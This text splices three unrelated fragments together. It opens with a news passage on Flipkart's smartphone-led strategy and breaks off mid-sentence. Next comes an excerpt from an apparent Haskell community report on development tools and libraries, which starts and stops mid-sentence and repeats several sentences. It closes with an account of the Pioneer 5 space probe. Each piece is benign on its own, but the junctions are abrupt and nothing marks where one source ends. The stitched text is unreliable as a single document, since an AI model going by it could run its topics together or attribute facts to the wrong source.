The key to Flipkart’s turnaround has been its dominance of the smartphone category. It is aggressively chasing exclusive deals with smartphone brands—and clinching them. Smartphones is by far the most important category for e-commerce firms, accounting for more than half of all online retail. Starting with BBD, Flipkart has had more impressive exclusive smartphone offerings than Amazon India including the latest launches by some of the most popular brands such as Motorola and Lenovo.
Hot on the heels
To be sure, Krishnamurthy’s reliance on smartphones is risky.
Firstly, Amazon can simply offer better terms to brands and get them to shift to its platform. Then, Amazon is also far ahead of Flipkart in terms of transaction volumes because of its wider product range, which ensures that Amazon’s sales are more balanced. Amazon India has more than 100 million products to Flipkart’s 80 million.
“While Flipkart has a lead over Amazon right now in major categories such as smartphones and large appliances, Amazon is catching up fast. For Flipkart, it’ll be an achievement if they manage not to concede any further market share to Amazon this year," said Harminder Sahni, founder and managing director of Wazir Advisors.
Still, the e-commerce market as it stands is dominated by smartphone sales and Flipkart’s strategy is in line with that. The company also enjoys some other important advantages.
It generates higher sales than its American rival in another important category of large appliances, particularly televisions. Unlike smartphones, it will be tougher for Amazon to catch up with Flipkart in large appliances. Flipkart has two important moats: an independent supply chain network for the category and its ownership of Jeeves Consumer Services Pvt. Ltd, an after-sales services provider. Product installation is as important as on-time delivery in large appliances. Amazon still relies on brands to handle installation services.
Smartphones, fashion and large appliances are the three largest categories in e-commerce, together accounting for more than 75% of all online retail. Currently, Flipkart is comfortably ahead of Amazon in smartphones and large appliances. And its ownership of Myntra, in particular, and Jabong ensures that the company has a near-monopoly in online fashion sales.
Relentless drive
After becoming CEO, Krishnamurthy has already put his stamp on the company.
In a 10 January report, Mint wrote that Krishnamurthy is a quintessential behind-the-scenes person who has an exhaustive understanding of e-commerce and works long hours relentlessly. One of the few criticisms made about Krishnamurthy is that he favours short-term fixes over long-term bets entrepreneurs pride themselves on.
Whether the criticism is valid or not, Krishnamurthy is pushing ahead with his vision for Flipkart.
He has set the same three broad targets as Binny did last year: growing sales every month, cutting expenses and improving NPS further, the three people cited above said. Flipkart wants to achieve an NPS of 65, an increase from its previous target of 55, the people said.
Krishnamurthy has ordered a freeze on some of the firm’s moonshot projects and is not allocating any fresh budgets towards its F7 Labs in Silicon Valley, the people said. Flipkart’s logistics unit Ekart has also shut its customer-to-customer service and hyperlocal delivery offering.
“Kalyan wants to keep it simple and focus on Flipkart’s core commerce business and strengths around a great product range and affordability. While the mandate for him is to deliver growth, he also has to keep burn rates under control," the third person cited above said.
Krishnamurthy’s inspiration is China’s online retailer JD. Tiger Global, Krishnamurthy’s former employer, had invested in JD around the same time it put money into Flipkart and when JD listed its shares in May 2014, it turned into one of the most lucrative bets made by Tiger. Unlike its bigger rival Alibaba, JD is a direct online retailer that gets much of its sales from high-priced products.
At Flipkart, Krishnamurthy is adopting some of JD’s tricks. He wants to slash Flipkart’s logistics costs and further increase sales of mobile phones and large appliances, two high-value product categories.
Krishnamurthy is also betting big on groceries and private labels.
Mint reported on 10 February that Flipkart is building a groceries business, hoping that sales of everyday household items will keep shoppers coming back to the company’s platform. Flipkart held talks to invest in online grocer BigBasket, but those discussions didn’t result |
express common programming patterns, corresponding to the typical use cases of monads such as Reader, Writer, and State. The paper presents a realistic example of type-class-based type-level programming in Haskell. We have included support for local and higher-order attributes. Furthermore, a translation from UUAG to AspectAG is added to UUAGC as an experimental feature. Current Status We have recently added a combinator agMacro to provide support for “attribute grammars macros”; a mechanism that makes it easy to define attribute computation in terms of already existing attribute computation. Background The approach taken in AspectAG was proposed by Marcos Viera, Doaitse Swierstra, and Wouter Swierstra in the ICFP 2009 paper “Attribute Grammars Fly First-Class: How to do aspect oriented programming in Haskell”. The Attribute Grammar Macros combinator is described in a technical report: UU-CS-2011-028. Further reading http://www.cs.uu.nl/wiki/bin/view/Center/AspectAG
LQPL (Linear Quantum Programming Language) is a functional quantum programming language inspired by Peter Selinger’s paper “Towards a Quantum Programming Language”. The LQPL system consists of a compiler, a GUI based front end and an emulator. Compiled programs are loaded to the emulator by the front end. LQPL incorporates a simple module / include system (more like C’s include than Haskell’s import), predefined unitary transforms, quantum control and classical control, algebraic data types, and operations on purely classical data. The largest difference since the previous release of the package is that LQPL is now split into separate modules. These consist of: The compiler — available at the command line and via a TCP/IP interface.
The emulator — available as a server via a TCP/IP interface.
The front end — with version 0.9, the front end is written as a Java/Swing application, which connects to both the compiler and the emulator via TCP/IP. Further front ends are being contemplated. During the modification to create these separate modules, Hspec was used to verify the interfaces worked as designed. Quantum programming allows us to provide a fair coin toss, as shown in the code example below. qdata Coin = {Heads | Tails}
toss ::( ; c:Coin) =
{ q = |0>; Had q;
measure q of
|0> => {c = Heads}
|1> => {c = Tails}
}
This allows programming of probabilistic algorithms, such as leader election. This allows programming of probabilistic algorithms, such as leader election. Separation into modules is a preparatory step for improving the performance of the emulator and adding optimization features to the language. Further reading http://pll.cpsc.ucalgary.ca/lqpl/index.html
6 Development Tools
6.1 Environments
EclipseFP is a set of Eclipse plugins to allow working on Haskell code projects. It features Cabal integration (.cabal file editor, uses Cabal settings for compilation, allows the user to install Cabal packages from within the IDE), and GHC integration. Compilation is done via the GHC API, syntax coloring uses the GHC Lexer. Other standard Eclipse features like code outline, folding, and quick fixes for common errors are also provided. HLint suggestions can be applied in one click. EclipseFP also allows launching GHCi sessions on any module including extensive debugging facilities. It uses BuildWrapper to bridge between the Java code for Eclipse and the Haskell APIs. It also provides a full package and module browser to navigate the Haskell packages installed on your system, integrated with Hackage. The source code is fully open source (Eclipse License) on github and anyone can contribute. Current version is 2.2.4, released in March 2012 and supporting GHC 7.0 and above, and more versions with additional features are planned and actively worked on. Feedback on what is needed is welcome! The website has information on downloading binary releases and getting a copy of the source code. Support and bug tracking is handled through Sourceforge forums. Further reading http://eclipsefp.github.com/
ghc-mod is a backend command to enrich Haskell programming on editors including Emacs and Vim. The ghc-mod package on Hackage includes the ghc-mod command and Emacs front-end. Emacs front-end provides the following features: Completion You can complete a name of keyword, module, class, function, types, language extensions, etc. Code template You can insert a code template according to the position of the cursor. For instance, “module Foo where” is inserted in the beginning of a buffer. Syntax check Code lines with error messages are automatically highlighted thanks to flymake. You can display the error message of the current line in another window. hlint can be used instead of GHC to check Haskell syntax. Document browsing You can browse the module document of the current line either locally or on Hackage. Expression type You can display the type/information of the expression on the cursor. (new) There are two Vim plugins: ghcmod-vim
syntastic Further reading http://www.mew.org/~kazu/proj/ghc-mod/en/
A new major version of Heat has appeared, which works on top of GHCi instead of Hugs,
supports automatic QuickCheck property testing,
uses a simple model of updating Haskell files in place,
is distributed as a single jar file. Heat is an interactive development environment (IDE) for learning and teaching Haskell. Heat was designed for novice students learning the functional programming language Haskell. Heat provides a small number of supporting features and is easy to use. Heat is portable, small and works on top of a Haskell interpreter. Heat provides the following features: Editor for a single module with syntax-highlighting and matching brackets.
Shows the status of compilation: non-compiled; compiled with or without error.
Interpreter console that highlights the prompt and error messages.
If compilation yields an error, then the relevant source line is highlighted and no further expression can be evaluated in the console until the source has been changed and successfully recompiled.
A tree structure provides a program summary, giving definitions of types and types of functions.
Automatic checking of either Boolean or QuickCheck properties of a program; results shown in summary. Further reading http://www.cs.kent.ac.uk/projects/heat/
6.1.4 HaRe — The Haskell Refactorer Report by: Simon Thompson Participants: Huiqing Li, Chris Brown, Claus Reinke See: http://www.haskell.org/communities/05-2011/html/report.html#sect5.1.5.
6.2 Documentation
6.2.1 Haddock Report by: David Waern Status: experimental, maintained Haddock is a widely used documentation-generation tool for Haskell library code. Haddock generates documentation by parsing and typechecking Haskell source code directly and including documentation supplied by the programmer in the form of specially-formatted comments in the source code itself. Haddock has direct support in Cabal (→6.6.1), and is used to generate the documentation for the hierarchical libraries that come with GHC, Hugs, and nhc98 (http://www.haskell.org/ghc/docs/latest/html/libraries) as well as the documentation on Hackage. The latest release is version 2.9.4, released October 3 2011. Recent changes: Support for GHC 7.2 and Alex 3.x
New –qual flag for qualification of names
Print doc coverage information to stdout
Speed up generation of index
Various bug fixes Future plans Although Haddock understands many GHC language extensions, we would like it to understand all of them. Currently there are some constructs you cannot comment, like GADTs and associated type synonyms.
Error messages is an area with room for improvement. We would like Haddock to include accurate line numbers in markup syntax errors.
On the HTML rendering side we want to make more use of Javascript in order to make the viewing experience better. The frames-mode could be improved this way, for example.
Finally, the long term plan is to split Haddock into one program that creates data from sources, and separate backend programs that use that data via the Haddock API. This will scale better, not requiring adding new backends to Haddock for every tool that needs its own format. Further reading Haddock’s homepage: http://www.haskell.org/haddock/
Haddock’s developer Wiki and Trac: http://trac.haskell.org/haddock
Haddock’s mailing list: haddock@projects.haskell.org
6.2.2 lhs2TeX Report by: Andres Löh Status: stable, maintained This tool by Ralf Hinze and Andres Löh is a preprocessor that transforms literate Haskell or Agda code into LaTeX documents. The output is highly customizable by means of formatting directives that are interpreted by lhs2TeX. Other directives allow the selective inclusion of program fragments, so that multiple versions of a program and/or document can be produced from a common source. The input is parsed using a liberal parser that can interpret many languages with a Haskell-like syntax. The program is stable and can take on large documents. The current version is 1.17, so there has not been a new release since the last report. Development repository and bug tracker are on GitHub. There are still plans for a rewrite of lhs2TeX with the goal of cleaning up the internals and making the functionality of lhs2TeX available as a library. Further reading http://www.andres-loeh.de/lhs2tex
https://github.com/kosmikus/lhs2tex
6.3 Testing and Analysis
6.3.1 shelltestrunner Report by: Simon Michael Status: stable shelltestrunner was first released in 2009, inspired by the test suite in John Wiegley’s ledger project. It is a command-line tool for doing repeatable functional testing of command-line programs or shell commands. It reads simple declarative tests specifying a command, some input, and the expected output, error output and exit status. Tests can be run selectively, in parallel, with a timeout, in color, and/or with differences highlighted. In the last six months, shelltestrunner has had three releases (1.0, 1.1, 1.2) and acquired a home page. Projects using it include hledger, yesod, berp, and eddie. shelltestrunner is free software released under GPLv3+ from Hackage or http://joyful.com/shelltestrunner. Further reading http://joyful.com/repos/shelltestrunner
6.3.2 hp2any Report by: Patai Gergely Status: experimental This project was born during the 2009 Google Summer of Code under the name “Improving space profiling experience”. The name hp2any covers a set of tools and libraries to deal with heap profiles of Haskell programs. At the present moment, the project consists of three packages: hp2any-core : a library offering functions to read heap profiles during and after run, and to perform queries on them.
: a library offering functions to read heap profiles during and after run, and to perform queries on them. hp2any-graph : an OpenGL-based live grapher that can show the memory usage of local and remote processes (the latter using a relay server included in the package), and a library exposing the graphing functionality to other applications.
: an OpenGL-based live grapher that can show the memory usage of local and remote processes (the latter using a relay server included in the package), and a library exposing the graphing functionality to other applications. hp2any-manager : a GTK application that can display graphs of several heap profiles from earlier runs. The project also aims at replacing hp2ps by reimplementing it in Haskell and possibly adding new output formats. The manager application shall be extended to display and compare the graphs in more ways, to export them in other formats and also to support live profiling right away instead of delegating that task to hp2any-graph. Recently, the hp2any project joined forces with hp2pretty, which resulted in increased performance in the core library. Further reading http://www.haskell.org/haskellwiki/Hp2any
http://code.google.com/p/hp2any/
http://gitorious.org/hp2pretty
6.4 Optimization
6.4.1 HFusion Report by: Facundo Dominguez Participants: Alberto Pardo Status: experimental HFusion is an experimental tool for optimizing Haskell programs. The tool performs source to source transformations by the application of a program transformation technique called fusion. The aim of fusion is to reduce memory management effort by eliminating the intermediate data structures produced in function compositions. It is based on an algebraic approach where functions are internally represented in terms of a recursive program scheme known as hylomorphism. We offer a web interface to test the technique on user-supplied recursive definitions and HFusion is also available as a library on Hackage. The last improvement to HFusion has been to accept as input an expression containing any number of compositions, returning the expression which results from applying fusion to all of them. Compositions which cannot be handled by HFusion are left unmodified. In its current state, HFusion is able to fuse compositions of general recursive functions, including primitive recursive functions (like dropWhile or insertions in binary search trees), functions that make recursion over multiple arguments like zip, zipWith or equality predicates, mutually recursive functions, and (with some limitations) functions with accumulators like foldl. In general, HFusion is able to eliminate intermediate data structures of regular data types (sum-of-product types plus different forms of generalized trees). Further reading HFusion publications: http://www.fing.edu.uy/inco/proyectos/fusion
HFusion web interface: http://www.fing.edu.uy/inco/proyectos/fusion/tool
HFusion on Hackage: http://hackage.haskell.org/package/hfusion
6.4.2 Optimizing Generic Functions Report by: José Pedro Magalhães Participants: Johan Jeuring, Andres Löh Status: actively developed See: http://www.haskell.org/communities/11-2010/html/report.html#sect8.5.4.
6.5 Code Management
Darcs is a distributed revision control system written in Haskell. In Darcs, every copy of your source code is a full repository, which allows for full operation in a disconnected environment, and also allows anyone with read access to a Darcs repository to easily create their own branch and modify it with the full power of Darcs’ revision control. Darcs is based on an underlying theory of patches, which allows for safe reordering and merging of patches even in complex scenarios. For all its power, Darcs remains a very easy to use tool for every day use because it follows the principle of keeping simple things simple. Our most recent release, Darcs 2.5.2, was in March 2011. We are very close to releasing Darcs 2.8 (the second release candidate is out). Some key changes include support for GHC 7, a faster and more readable darcs annotate, a darcs obliterate -O which can be used to conveniently “stash” patches, hunk editing for the darcs revert command. Over the longer term, Darcs will emphasise three development priorities Improving code quality: this ranges from surface-level improvements such as switching to a uninform coding style, to deeper refactors and a move towards a more principled separation of Darcs subsystems. Supporting Darcs hosting and GUIs: we aim to provide library code that makes it easier to write hosting sites such as Darcsden and Patch-Tag, or graphical interfaces to Darcs. This work may potentially involve writing prototype hosting code to test our library. Developing the Darcs 3 theory of patches: we aim specifically to address the conflict-resolution issues that Darcs suffers from. Darcs is free software licensed under the GNU GPL (version 2 or greater). Darcs is a proud member of the Software Freedom Conservancy, a US tax-exempt 501(c)(3) organization. We accept donations at http://darcs.net/donations.html. Further reading http://darcs.net
http://wiki.darcs.net/Development/Priorities
6.5.2 DarcsWatch Report by: Joachim Breitner Status: working DarcsWatch is a tool to track the state of Darcs (→6.5.1) patches that have been submitted to some project, usually by using the darcs send command. It allows both submitters and project maintainers to get an overview of patches that have been submitted but not yet applied. DarcsWatch continues to be used by the xmonad project (→7.8.2), the Darcs project itself, and a few developers. At the time of writing, it was tracking 39 repositories and 4288 patches submitted by 234 users. Further reading http://darcswatch.nomeata.de/
http://darcs.nomeata.de/darcswatch/documentation.html
6.5.3 darcsden Report by: Simon Michael Participants: Alex Suraci, Simon Michael, Scott Lawrence, Daniel Patterson, Daniel Goran Status: beta, low activity http://darcsden.com is a free Darcs (→6.5.1) repository hosting service, similar to patch-tag.com or (in essence) github. The darcsden software is also available (on darcsden) so that anyone can set up a similar service. darcsden is available under BSD license and was created by Alex Suraci. Alex keeps the service running and fixes bugs, but is mostly focussed on other projects. darcsden has a clean UI and codebase and is a viable hosting option for smaller projects despite occasional glitches. The last Hackage release was in 2010. Other committers have been submitting patches, and the darcsden software is close to becoming a just-works installable darcs web ui for general use. Further reading http://darcsden.com
6.5.4 darcsum Report by: Simon Michael Status: occasional development; suitable for daily use darcsum is an emacs add-on providing an efficient, pcl-cvs-like interface for the Darcs revision control system (→6.5.1). It is especially useful for reviewing and recording pending changes. Simon Michael took over maintainership in 2010, and tried to make it more robust with current Darcs. The tool remains slightly fragile, as it depends on Darcs’ exact command-line output, and needs updating when that changes. Dave Love has contributed a large number of cleanups. darcsum is available under the GPL version 2 or later from http://joyful.com/darcsum. In the last six months darcsum acquired a home page, but there has been little other activity. We are looking for a new maintainer for this useful tool. Further reading http://joyful.com/darcsum/
cab is a MacPorts-like maintenance command of Haskell cabal packages. Some parts of this program are a wrapper to ghc-pkg, cabal, and cabal-dev. If you are always confused due to inconsistency of ghc-pkg and cabal, or if you want a way to check all outdated packages, or if you want a way to remove outdated packages recursively, this command helps you. cab now provides the “test”, “up”, “genpaths”, and “doc” subcommands. Further reading http://www.mew.org/~kazu/proj/cab/en/
6.6 Deployment
6.6.1 Cabal and Hackage Report by: Duncan Coutts Background Cabal is the standard packaging system for Haskell software. It specifies a standard way in which Haskell libraries and applications can be packaged so that it is easy for consumers to use them, or re-package them, regardless of the Haskell implementation or installation platform. Hackage is a distribution point for Cabal packages. It is an online archive of Cabal packages which can be used via the website and client-side software such as cabal-install. Hackage enables users to find, browse and download Cabal packages, plus view their API documentation. cabal-install is the command line interface for the Cabal and Hackage system. It provides a command line program cabal which has sub-commands for installing and managing Haskell packages. Recent progress We have had two successful Google Summer of Code projects on Cabal this year. Sam Anklesaria worked on a “cabal repl” feature to launch an interactive GHCi session with all the appropriate pre-processing and context from the project’s.cabal file. Mikhail Glushenkov worked on a feature so that “cabal install” can build independent packages in parallel (not to be confused with building modules within a package in parallel). The code from both projects is available and they are awaiting integration into the main Cabal repository, which we expect to happen over the course of the next few months. The “cabal test” feature which was developed as a GSoC project last summer has matured significantly in the last 6 months, thanks to continuing effort from Thomas Tuegel and Johan Tibell. The basic test interface will be ready to use in the next release, and there has been some progress on the “detailed” test interface. The IHG is currently sponsoring some work on cabal-install. The first fruits of this work is a new dependency solver for cabal-install which is now included in the development version. The new solver can find solutions in more cases and produces more detailed error messages when it cannot find a solution. In addition, it is better about avoiding and warning about breaking existing installed packages. We also expect it to be a better basis for other features in future. For more details see the presentation by Andres Löh. http://haskell.org/haskellwiki/HaskellImplementorsWorkshop/2011/Loeh The last 6 months has seen significant progress on the new hackage-server implementation with help from many new volunteers, in particular Max Bolingbroke, but also several other people who helped at hackathons and subsequently. The IHG funded Well-Typed to improve package mirroring so that continuous nearly-live mirroring is now possible. We are also grateful to factis research GmbH who have kindly donated a VM to help the hackage developers test the new server code. We expect to do live mirroring and public beta testing using this server during the next few months. Looking forward Users are increasingly relying on hackage and cabal-install and are increasingly frustrated by dependency problems. Solutions to the variety of problems do exist. It will however take sustained effort to solve them. The good news is that there is the realistic prospect of the new hackage-server being ready in the not too distant future with features to help monitor and encourage package quality, and the recent work on cabal-install should reduce the frustration level somewhat. The last 6 months has seen a good upswing in the number of volunteers spending their time on cabal and hackage, so much so that a clear bottleneck is patch review and integration bandwidth. A similar issue is that many of the long standing bugs and feature requests require significant refactoring work which many volunteers feel reluctant or unable to do. Assistance in these areas would be very valuable indeed. We would like to encourage people considering contributing to join the cabal-devel mailing list so that we can increase development discussion and improve collaboration. The bug tracker is reasonably well maintained and it should be relatively clear to new contributors what is in need of attention and which tasks are considered relatively easy. Further reading Cabal homepage: http://www.haskell.org/cabal
Hackage package collection: http://hackage.haskell.org/
Bug tracker: http://hackage.haskell.org/trac/hackage/
6.6.2 Portackage — A Hackage Portal Report by: Andrew G. Seniuk Portackage (fremissant.net/portackage) is a web interface to all of hackage.haskell.org, which at the time of writing includes some 4000 packages exposing over 17000 modules. There are package and module views, as seen in the screenshots. The package view includes links to the package, homepage, and bug tracker when available. Each name in the module tree view links to the Haddock API page. Control-hovering will show the fully-qualified name in a tooltip. Portackage is only a few days old; imminent further work includes Tree branches will be collapsed by default.
Cookies (as well as server DB) will maintain persistent state of which nodes you have open, since this information carries value, both in terms of cost to reconstruct manually, and of personal mnemonics — if nodes were collapsed, you would forget where things were, instead of having them right there filtered out.
A flat list of modules with the filtering text input field would be good, but the full list of modules is too large for the present naive JavaScript. The code itself is mostly Haskell, but is still too green to expose on Hackage.
7 Libraries, Applications, Projects
7.1 Language Features
7.1.1 Conduit Report by: Michael Snoyman Status: experimental While lazy I/O has served the Haskell community well for many purposes in the past, it is not a panacea. The inherent non-determinism with regard to resource management can cause problems in such situations as file serving from a high traffic web server, where the bottleneck is the number of file descriptors available to a process. Left fold enumerators have been the most common approach to dealing with streaming data with using lazy I/O. While it is certainly a workable solution, it requires a certain inversion of control to be applied to code. Additionally, many people have found the concept daunting. Most importantly for our purposes, certain kinds of operations, such as interleaving data sources and sinks, are prohibitively difficult under that model. The conduit package was designed as an alternate approach to the same problem. It is based around the concept of a cursor. In particular, we have sources that can be pulled from and sinks that can be pushed to. There’s nothing revolutionary there: this is the same concept powering such low-level approaches as file descriptor I/O. However, we have a few higher-level facilities that make for a simpler usage: Monadic composition allows us to combine simpler components into more complicated actions.
We also have conduits (the namesake of the package), which allow transformations of data. For example, it’s trivial to combine a source which reads from a file and a conduit that decompresses data.
Combined with the resourcet package, we have fully deterministic and exception safe resource handling. The design space is still not fully resolved. The enumerator approach continues to be used and thrive, and alternatives like pipes are in development as well. The community is currently having a very healthy and lively debate about the merits of each approach. It is likely that we will continue to see improvements and refinements. Meanwhile, the team behind conduit feels it is ready to be used today. The Web Application Interface (WAI) and Yesod have both moved over to conduit, and have experienced drastic simplification of the code bases. Conduit has also allowed a much simplified HTTP API in the form of http-conduit. In other words, while the package is relatively young, it has already proven vital for our daily workflow, and we believe that many in the community can benefit from it already. Further reading http://www.yesodweb.com/book/conduits
https://github.com/mezzohaskell/mezzohaskell/blob/master/chapters/libraries/conduit.md
7.1.2 Free Sections Report by: Andrew G. Seniuk Free sections (package freesect ) extend Haskell (or other languages) to better support partial function application. The package can be installed from Hackage and runs as a preprocessor. Free sections can be explicitly bracketed, or usually the groupings can be inferred automatically. zipWith ( f _ $ g _ z ) xs ys -- context inferred
= zipWith _[ f _ $ g _ z ]_ xs ys -- explicit bracketing
= zipWith (\ x y -> f x $ g y z ) xs ys -- after the rewrite
Free sections can be understood by their place in a tower of generalisations, ranging from simple function application, through usual partial application, to free sections, and to named free sections. The latter (where _ wildcards include identifier suffixes) have the same expressivity as a lambda function wrapper, but the syntax is more compact and semiotic. Although the rewrite provided by the extension is simple, there are advantages of free sections relative to explicitly written lambdas: lambda forces the programmer to invent fresh names for the wildcards
lambda forces the programmer to repeat those names, and place them correctly
freesect wildcards stand out vividly, indicating where the awaited expressions will go
reading the lambda requires visual pattern-matching between left and right sides
lambda is longer overall, and prefaces the expression of interest with boilerplate On the other hand, the lambda (or named free section) is more powerful than the anonymous free section: it can achieve arbitrary permutations without further ado; but anonymous wildcards preserve their lexical order
it is more expressive when nesting is involved, because the variables are not anonymous On the other hand, the lambda (or named free section) is more powerful than the anonymous free section: Free sections (like function wrappers generally) are especially useful in refactoring and retrofitting exisitng code, although once familiar they can also be useful from the ground up. Philosophically, use of this sort of syntax promotes “higher-order programming”, since any expression can so easily be made into a function, in numerous ways, simply by replacing parts of it with freesect wildcards. That this is worthwhile is demonstrated by the frequent usefulness of sections. The notion of free sections emanated from an encompassing research agenda around vagaries of lexical syntax. Immediate plans specific to free sections include: possibly something could be prepared for academic publication
implementing the named free sections extension-extension for completeness
attempting to get it accepted into some project (maybe some Haskell compiler) which handles parsing (my code uses a fork of HSE, and divergence is accruing) Otherwise, pretty much a one-off which will be deemed stable in a few months. Maybe I’ll try extending some language which lacks lambdas (or where its lambda syntax is especially unpleasant). Further reading fremissant.net/freesect
7.2 Education
7.2.1 Holmes, Plagiarism Detection for Haskell Report by: Jurriaan Hage Participants: Brian Vermeer, Gerben Verburg Holmes is a tool for detecting plagiarism in Haskell programs. A prototype implementation was made by Brian Vermeer under supervision of Jurriaan Hage, in order to determine which heuristics work well. This implementation could deal only with Helium programs. We found that a token stream based comparison and Moss style fingerprinting work well enough, if you remove template code and dead code before the comparison. Since we compute the control flow graphs anyway, we decided to also keep some form of similarity checking of control-flow graphs (particularly, to be able to deal with certain refactorings). In November 2010, Gerben Verburg started to reimplement Holmes keeping only the heuristics we figured were useful, basing that implementation on haskell-src-exts. A large scale empirical validation has been made, and the results are good. We have found quite a bit of plagiarism in a collection of about 2200 submissions, including a substantial number in which refactoring was used to mask the plagiarism. A paper has been written, but is currently unpublished. The tool will not be made available through Hackage, but will be available free of use to lecturers on request. Please contact J.Hage@uu.nl for more information. We also have a implemented graph based that computes near graph-isomorphism that seems to work really well in comparing control-flow graphs in an inexact fashion. However, it does not scale well enough in terms of computations to be included in the comparison, and is not mature enough to deal with certain easy refactorings. Future work includes a Hare-against-Holmes bash in which Hare users will do their utmost to fool Holmes.
The Ideas project (at Open Universiteit Nederland and Utrecht University) aims at developing interactive domain reasoners on various topics. These reasoners assist students in solving exercises incrementally by checking intermediate steps, providing feedback on how to continue, and detecting common mistakes. The reasoners are based on a strategy language, from which feedback is derived automatically. The calculation of feedback is offered as a set of web services, enabling external (mathematical) learning environments to use our work. We currently have a binding with the Digital Mathematics Environment of the Freudenthal Institute (first/left screenshot), the ActiveMath learning system of the DFKI and Saarland University (second/right screenshot), and our own online exercise assistant that supports rewriting logical expressions into disjunctive normal form. We are adding support for more exercise types, mainly at the level of high school mathematics. For example, our domain reasoner now covers simplifying expressions with exponents, rational equations, and derivatives. We have investigated how users can interleave solving different parts of exercises. We have extended our strategy language with different combinators for interleaving, and have shown how the interleaving combinators are implemented in the parsing framework we use for recognizing student behavior and providing hints. Recently, we have focused on designing the Ask-Elle functional programming tutor. This tool lets you practice introductory functional programming exercises in Haskell. The tutor can both guide a student towards developing a correct program, as well as analyse intermediate, incomplete, programs to check whether or not certain properties are satisfied. We are planning to include checking of program properties using QuickCheck, for instance for the generation of counterexamples. We have to guide the test-generation process to generate test-cases that do not use the part of the program that has yet to be developed. We also want to make it as easy as possible for teachers to add programming exercises to the tutor, and to adapt the behavior of the tutor by disallowing or enforcing particular solutions, and by changing the feedback. Teachers can adapt feedback by annotating the model solutions of an exercise. The tutor has an improved web-interface and is used in an introductory FP course at Utrecht University. The feedback services are available as a Cabal source package. The latest release is version 1.0 from September 1, 2011. Further reading Online exercise assistant (for logic), accessible from our project page.
Bastiaan Heeren, Johan Jeuring, and Alex Gerdes. Specifying Rewrite Strategies for Interactive Exercises. Mathematics in Computer Science, 3(3):349–370, 2010.
Bastiaan Heeren and Johan Jeuring. Interleaving Strategies. Conference on Intelligent Computer Mathematics, Mathematical Knowledge Management (MKM 2011).
Johan Jeuring, Alex Gerdes, and Bastiaan Heeren. A Programming Tutor for Haskell. To appear in Lecture Notes Central European School on Functional Programming, (CEFP 2011). Try our tutor at http://ideas.cs.uu.nl/ProgTutor/.
7.3 Parsing and Transforming
7.3.1 The grammar-combinators Parser Library Report by: Dominique Devriese Status: partly functional The grammar-combinators library is an experimental parser library written in Haskell (LGPL license). The library features much of the power of a parser generator like Happy or ANTLR, but with the library approach and most of the benefits of a parser combinator library. The project’s initial release was in September 2010. A paper about the main idea has been presented at the PADL’11 conference and an accompanying technical report with more implementation details is available online. The library is published on Hackage under the name grammar-combinators. The library works with an explicit, typed representation of non-terminals, allowing fundamentally more powerful grammar algorithms, including various grammar analysis, transformation and pretty-printing libraries etc. A disadvantage is that higher-order combinators modelling recursive concepts like many and some require more work to write. The library is currently not yet suited for mainstream use. Performance is not ideal and many real-world features are missing. People interested to work on these topics are very welcome to contact us! Further reading http://projects.haskell.org/grammar-combinators/
7.3.2 epub-metadata Report by: Dino Morelli Status: stable, actively developed See: http://www.haskell.org/communities/05-2011/html/report.html#sect6.2.4.
The previous extension for recognizing merging parsers was generalized so now any kind of applicative and monadic parsers can be merged in an interleaved way. As an example take the situation where many different programs write log entries into a log file, and where each log entry is uniquely identified by a transaction number (or process number) which can be used to distinguish them. E.g., assume that each transaction consists of an |a|, a |b| and a |c| action, and that a digit is used to identify the individual actions belonging to the same transaction; the individual transactions can now be recognized by the parser: pABC = do d <- mkGram (pa *> pDigit )
mkGram (pb *> pSym d)
*> mkGram (pc *> pSym d)
run (pmMany(pABC)) "a2a1b1b2c2a3b3c1c3"
Result: "213"
Furthermore the library was provided with many more examples in two modules in the |Demo| directory.
Features
Much simpler internals than the old library (http://haskell.org/communities/05-2009/html/report.html#sect5.5.8).
Combinators for easily describing parsers which produce their results online, do not hang on to the input and provide excellent error messages. As such they are “surprise free” when used by people not fully aware of their internal workings.
Parsers “correct” the input such that parsing can proceed when an erroneous input is encountered.
The library basically provides the to be preferred applicative interface and a monadic interface where this is really needed (which is hardly ever).
No need for try-like constructs which makes writing Parsec based parsers tricky.
based parsers tricky. Scanners can be switched dynamically, so several different languages can occur intertwined in a single input file.
Parsers can be run in an interleaved way, thus generalizing the merging and permuting parsers into a single applicative interface. This makes it e.g. possible to deal with white space or comments in the input in a completely separate way, without having to think about this in the parser for the language at hand (provided of course that white space is not syntactically relevant).
Future plans
Since the part dealing with merging is relatively independent of the underlying parsing machinery we may split this off into a separate package. This will enable us also to make use of a different parsing engines when combining parsers in a much more dynamic way. In such cases we want to avoid too many static analyses.
Future versions will contain a check for grammars being not left-recursive, thus taking away the only remaining source of surprises when using parser combinator libraries. This makes the library even greater for use teaching environments. Future versions of the library, using even more abstract interpretation, will make use of computed look-ahead information to speed up the parsing process further.
Students are working on a package for processing options which makes use of the merging parsers, so that the various options can be set in a flexible but typeful way.
Contact
If you are interested in using the current version of the library in order to provide feedback on the provided interface, contact <doaitse at swierstra.net>. There is a low |
second after 322 seconds of powered flight (the first Thor-Able satellite launch success was the Explorer 6 paddle-wheel prototype lofted seven months earlier). Although this speed was about 150 meters per second slower than intended, it still exceeded Earth’s escape velocity making Pioneer 5 only the third spacecraft to enter solar orbit after the Soviet Luna 1 and American Pioneer 4 probes in January and March of 1959, respectively.
Once free of Earth’s gravitational influence, Pioneer 5 assumed a heliocentric orbit with an aphelion of 148.5 million kilometers and a perihelion of 120.5 million kilometers inclined 3.35 degrees to the ecliptic. Although the velocity shortfall resulted in a longer than intended 311.6-day orbit that would pass no closer than 12 million kilometers outside the orbit of Venus, the healthy Pioneer 5 was on its way. The only noteworthy loss early in the mission was the micrometeorite spectrometer whose data system became saturated resulting in no usable data being returned.
On March 13, Pioneer 5 passed the 658,000 kilometer mark breaking the communication record set a year earlier by Pioneer 4 (see “Vintage Micro: The Pioneer 4 Lunar Probe”). The small probe continued on its journey day after day setting new records and collecting new data on the interplanetary environment. Finally on March 30, Pioneer 5 had a chance to prove itself. Solar astronomers noted the eruption of a huge solar flare at 14:55 UT followed by a magnetic storm on the Earth 21 hours later that produced auroral displays and knocked out trans-Atlantic radio communications.
Just as predicted, the Forbush effect was observed at a monitoring station at Deep River, Canada. At the same time, Pioneer 5 also noted a decrease in cosmic rays from its vantage point about 5 million kilometers from the Earth. Simultaneously the probe’s magnetometer noted an order of magnitude increase in interplanetary magnetic field strength. A mass of plasma from the solar flare was traveling along a spiral path from the Sun at about 1000 kilometers per second. This solar storm produced a magnetic bottle that blocked galactic cosmic rays after it engulfed the Earth.
